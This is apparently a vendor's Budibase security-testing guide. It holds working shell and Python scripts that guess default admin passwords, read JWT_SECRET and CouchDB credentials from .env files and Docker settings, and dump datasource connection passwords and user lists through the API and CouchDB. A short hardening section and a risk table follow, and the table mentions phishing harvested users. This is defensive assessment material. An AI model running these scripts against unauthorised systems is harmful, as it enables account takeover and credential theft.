Budibase is a widely deployed open-source low-code platform for building internal applications and admin panels — it connects to external databases, REST APIs, and cloud services, storing all datasource connection credentials. Key assessment areas: JWT_SECRET in .env signs authentication tokens enabling session forgery; the Budibase API key provides full platform admin access without a password; COUCHDB_PASSWORD provides direct access to the CouchDB database that stores all Budibase application data and datasource configurations; and the API allows enumerating all applications and their connected datasource credentials. This guide covers systematic Budibase security assessment.
# Budibase — authentication, API key, and default credential testing
BUDIBASE_URL="https://budibase.example.com"
# Budibase admin login
AUTH=$(curl -s -X POST "${BUDIBASE_URL}/api/global/auth/default/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin@example.com","password":"admin"}' 2>/dev/null)
TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('token','FAIL: '+str(list(d.keys()))))
" 2>/dev/null)
echo "Token: ${TOKEN}"
# Try common passwords
for PASS in "admin" "budibase" "password" "changeme" "admin123" "Password1"; do
STATUS=$(curl -s -X POST "${BUDIBASE_URL}/api/global/auth/default/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'token' in d else 'FAIL')" 2>/dev/null)
echo "admin@example.com/${PASS}: ${STATUS}"
done
# Budibase API key — generated in portal settings (provides full admin access)
API_KEY="your-budibase-api-key"
# Test API key — full admin access without password
curl -s "${BUDIBASE_URL}/api/applications?status=all" \
-H "x-budibase-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('data',d) if isinstance(d,dict) else d
print(f'Applications: {len(apps)}')
for a in apps[:10]:
print(f' [{a.get(\"appId\")}] {a.get(\"name\")} status={a.get(\"status\")}')
" 2>/dev/null
# Budibase REST API — application and datasource enumeration
BUDIBASE_URL="https://budibase.example.com"
API_KEY="your-budibase-api-key"
APP_ID="your-app-id"
# List all applications
curl -s "${BUDIBASE_URL}/api/applications?status=all" \
-H "x-budibase-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
apps = d.get('data',[])
print(f'Applications: {len(apps)}')
for a in apps:
print(f' [{a.get(\"appId\")}] {a.get(\"name\")} url={a.get(\"url\")} status={a.get(\"status\")}')
" 2>/dev/null
# List all datasources for an application — connection configs with credentials
curl -s "${BUDIBASE_URL}/api/datasources" \
-H "x-budibase-api-key: ${API_KEY}" \
-H "x-budibase-app-id: ${APP_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
datasources = d.get('datasources',[])
print(f'Datasources: {len(datasources)}')
for ds in datasources:
config = ds.get('config',{})
print(f' [{ds.get(\"_id\")}] {ds.get(\"name\")} type={ds.get(\"source\")}')
host = config.get('host','')
port = config.get('port','')
db = config.get('database','')
user = config.get('user','')
password = config.get('password','')
if host:
print(f' host={host}:{port} db={db} user={user} password={password[:20] if password else \"[encrypted]\"}')
" 2>/dev/null
# List all users in the platform
curl -s "${BUDIBASE_URL}/api/global/users" \
-H "x-budibase-api-key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',d) if isinstance(d,dict) else d
print(f'Users: {len(users)}')
for u in users[:10]:
print(f' [{u.get(\"_id\")}] {u.get(\"email\")} admin={u.get(\"admin\",{}).get(\"global\")} status={u.get(\"status\")}')
" 2>/dev/null
# Budibase JWT_SECRET, CouchDB, and datasource credential extraction
# .env file — Budibase secrets
cat /app/.env 2>/dev/null | grep -E "JWT_SECRET|COUCHDB|REDIS|MINIO|S3|ENCRYPTION"
# JWT_SECRET — JWT signing key for authentication tokens
# COUCHDB_USER / COUCHDB_PASSWORD — CouchDB admin credentials
# REDIS_URL — Redis session storage
# MINIO_ACCESS_KEY / MINIO_SECRET_KEY — S3-compatible storage credentials
# Docker environment variables
docker inspect budibase 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['JWT_SECRET','COUCHDB','REDIS','MINIO','S3','ENCRYPTION']):
print(e)
" 2>/dev/null
# CouchDB direct access — Budibase uses CouchDB as its primary database
COUCHDB_URL="http://admin:COUCHDB_PASSWORD@localhost:5984"
# List all databases
curl -s "${COUCHDB_URL}/_all_dbs" 2>/dev/null | python3 -c "
import json,sys
dbs=json.load(sys.stdin)
print(f'Databases: {len(dbs)}')
for db in dbs[:20]: print(f' {db}')
" 2>/dev/null
# _users database — all Budibase user accounts
curl -s "${COUCHDB_URL}/_users/_all_docs?include_docs=true" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
rows = d.get('rows',[])
print(f'Users: {len(rows)}')
for r in rows[:10]:
doc=r.get('doc',{})
if doc.get('type') not in ['design','_design']:
print(f' {doc.get(\"name\",doc.get(\"email\",r.get(\"id\")))} roles={doc.get(\"roles\",[])[:3]}')
" 2>/dev/null
# App-specific databases — contain datasource configs with credentials
# Each Budibase app has its own CouchDB database (app_*)
curl -s "${COUCHDB_URL}/_all_dbs" 2>/dev/null | python3 -c "
import json,sys
dbs=json.load(sys.stdin)
app_dbs=[db for db in dbs if db.startswith('app_')]
print(f'App databases: {len(app_dbs)}')
" 2>/dev/null
APP_DB="app_your_app_id"
# Get datasource documents from app database
curl -s "${COUCHDB_URL}/${APP_DB}/_design/database/_view/by_type?key=%22datasource%22&include_docs=true" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
rows=d.get('rows',[])
for r in rows[:10]:
doc=r.get('doc',{})
config=doc.get('config',{})
print(f'Datasource: {doc.get(\"name\")} type={doc.get(\"source\")}')
print(f' host={config.get(\"host\")} db={config.get(\"database\")}')
print(f' user={config.get(\"user\")} password={config.get(\"password\",\"[encrypted]\")}')
" 2>/dev/null
openssl rand -hex 32; the Budibase API key provides complete admin access to all applications and datasources without a user session — treat it as a privileged credential; rotate API keys regularly and generate application-specific keys where possible; store both JWT_SECRET and API keys in a secrets manager rather than .env files; rotate JWT_SECRET if exposed (invalidates all existing sessions)curl http://localhost:5984/_all_dbs — if it returns data without credentials, authentication is not configured; configure CouchDB to bind only to localhost; use strong unique credentials for the CouchDB admin account; Budibase app databases contain all datasource configurations including any unencrypted connection credentials| Security Test | Method | Risk |
|---|---|---|
| JWT_SECRET extraction and session token forgery | Read .env JWT_SECRET — JWT signing key; forge valid authentication tokens as any Budibase user bypassing password authentication | Critical |
| API key extraction and full admin access | Read .env or Budibase settings for API key — grants complete admin access to all applications and datasources via x-budibase-api-key header without session authentication | Critical |
| CouchDB credential extraction and datasource enumeration | Read .env COUCHDB_PASSWORD — direct CouchDB access; SELECT app database datasource documents — all connection strings and credentials for connected databases and APIs | Critical |
| API datasource credential enumeration | GET /api/datasources with API key — all datasource configurations; password field may contain plaintext or minimally obfuscated credentials for all connected external databases | Critical |
| User email harvesting via admin API | GET /api/global/users with API key — all platform users with emails, admin status, and last active timestamp; enables targeted phishing against all internal tool users | High |
Ironimo tests Budibase deployments for JWT_SECRET extraction and session token forgery, API key enumeration and full admin access testing, CouchDB COUCHDB_PASSWORD credential extraction, datasource credential extraction from app databases, plaintext password field detection in datasource configurations, API application and user enumeration, MinIO/S3 credential extraction, Docker environment variable exposure, CouchDB "admin party" mode testing, and rate limiting bypass testing on authentication endpoints.
Start free scan